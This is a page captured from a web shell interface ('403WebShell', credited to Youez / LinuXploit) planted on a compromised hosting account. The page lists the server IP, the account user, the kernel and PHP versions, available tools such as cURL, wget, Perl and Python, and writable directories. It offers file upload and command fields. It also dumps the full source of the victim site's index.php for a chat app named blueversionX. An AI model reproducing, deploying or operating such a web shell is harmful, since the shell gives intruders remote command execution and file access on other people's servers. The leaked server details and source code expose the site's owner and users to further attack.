Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.242
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/chatblueversion/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/chatblueversion/index.php
<?php
require __DIR__.'/includes/bootstrap.php';
$u=current_user();$guest=null;
if(!$u){
  try{$pdo->exec("DELETE m FROM messages m JOIN conversations c ON c.id=m.conversation_id JOIN guest_sessions g ON g.id=c.guest_id WHERE g.updated_at < NOW()-INTERVAL 24 HOUR");$pdo->exec("DELETE c FROM conversations c JOIN guest_sessions g ON g.id=c.guest_id WHERE g.updated_at < NOW()-INTERVAL 24 HOUR");$pdo->exec("DELETE FROM guest_sessions WHERE updated_at < NOW()-INTERVAL 24 HOUR");}catch(Throwable $e){}
  $token=$_COOKIE['bvx_guest']??'';
  if(!$token){$token=bin2hex(random_bytes(32));setcookie('bvx_guest',$token,['expires'=>time()+86400,'path'=>'/','secure'=>isset($_SERVER['HTTPS']),'httponly'=>true,'samesite'=>'Lax']);}
  $hash=hash('sha256',$token);$s=$pdo->prepare('SELECT * FROM guest_sessions WHERE token_hash=?');$s->execute([$hash]);$guest=$s->fetch();
  if(!$guest){$gid=bin2hex(random_bytes(16));$iphash=hash('sha256',($_SERVER['REMOTE_ADDR']??'').'|'.$config['session_secret']);$pdo->prepare('INSERT INTO guest_sessions(id,token_hash,ip_hash) VALUES(?,?,?)')->execute([$gid,$hash,$iphash]);$guest=['id'=>$gid,'question_count'=>0];}
}
$remaining=$u?null:max(0,10-(int)$guest['question_count']);
if($u){$h=$pdo->prepare('SELECT id,title,updated_at FROM conversations WHERE user_id=? ORDER BY updated_at DESC LIMIT 20');$h->execute([$u['id']]);}
else{$h=$pdo->prepare('SELECT id,title,updated_at FROM conversations WHERE guest_id=? ORDER BY updated_at DESC LIMIT 10');$h->execute([$guest['id']]);}
$history=$h->fetchAll();
?><!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width"><meta name="color-scheme" content="light dark"><title>blueversionX</title><link rel="icon" href="favicon.svg"><link rel="stylesheet" href="assets/style.css"></head><body><main data-theme="light" id="app"><aside class="side"><picture><img class="logo" id="brandLogo" src="assets/blueversionx-logo.svg" alt="blueversionX"></picture><button class="new" id="newChat"><span>+</span> New chat</button><nav><small>RECENT</small><div id="recent"><?php if(!$history):?><p class="noHistory">No conversations yet</p><?php else:?><?php foreach($history as $item):?><button class="historyItem" data-id="<?=htmlspecialchars($item['id'])?>">◌ <span><?=htmlspecialchars($item['title'])?></span></button><?php endforeach?><?php endif?></div></nav><div class="sideFoot"><?php if($u):?><a class="accountLink" href="account.php"><button><i>X</i><span><b><?=htmlspecialchars($u['name']?:$u['email'])?></b><small><?=htmlspecialchars(ucfirst($u['plan']))?> plan</small></span><em>•••</em></button></a><?php else:?><button id="guestAccount"><i>X</i><span><b>Guest</b><small id="guestCount"><?=$remaining?> of 10 free questions left</small></span><em>•••</em></button><?php endif?></div></aside><div class="workspace"><header><button class="mobileLogo"><img class="logo" id="mobileBrand" src="assets/blueversionx-logo.svg" alt="blueversionX"></button><span>blueversionX</span><div><button class="iconButton" id="theme" aria-label="Toggle theme">◐</button><?php if($u):?><a class="textButton linkButton" href="account.php">Account</a><?php if(($u['role']??'')==='admin'):?><a class="adminButton linkButton" href="admin/">Admin</a><?php endif?><?php else:?><a class="textButton linkButton" href="login.php">Log in</a><a class="adminButton linkButton" href="register.php">Sign up</a><?php endif?></div></header><section class="chat"><div id="thread" class="thread empty"><div class="welcome"><div class="xMark">X</div><h1>How can I help?</h1><p>Explore African history, science, innovation and development.</p><div class="suggestions"><button>Explain the Mali Empire<span>↗</span></button><button>African discoveries in medicine<span>↗</span></button><button>How can Africa lead in solar energy?<span>↗</span></button><button>Tell me about Great Zimbabwe<span>↗</span></button></div></div></div><div class="composer"><textarea id="prompt" aria-label="Message blueversionX" placeholder="Message blueversionX"></textarea><div class="composerBar"><div><button type="button" id="clearChat">Clear</button><button type="button">Sources</button></div><button class="send" id="send">↑</button></div></div><small class="notice"><?php if(!$u):?><b id="limitNotice"><?=$remaining?> free questions remaining.</b> <?php endif?>blueversionX can make mistakes. Check important information.</small></section></div></main><div id="limitModal" class="limitModal" hidden><div class="limitCard"><button class="modalClose">×</button><div class="xMark">X</div><h2>Continue with blueversionX</h2><p>You have used your 10 free questions. Create an account to continue and keep your conversations.</p><a class="primary" href="register.php">Create free account</a><a class="google" href="auth/google.php">G&nbsp;&nbsp; Continue with Google</a><a class="signin" href="login.php">Already have an account? Sign in</a></div></div><script>window.BVX={loggedIn:<?=json_encode((bool)$u)?>,remaining:<?=json_encode($remaining)?>,conversationId:null};</script><script src="assets/app.js"></script></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit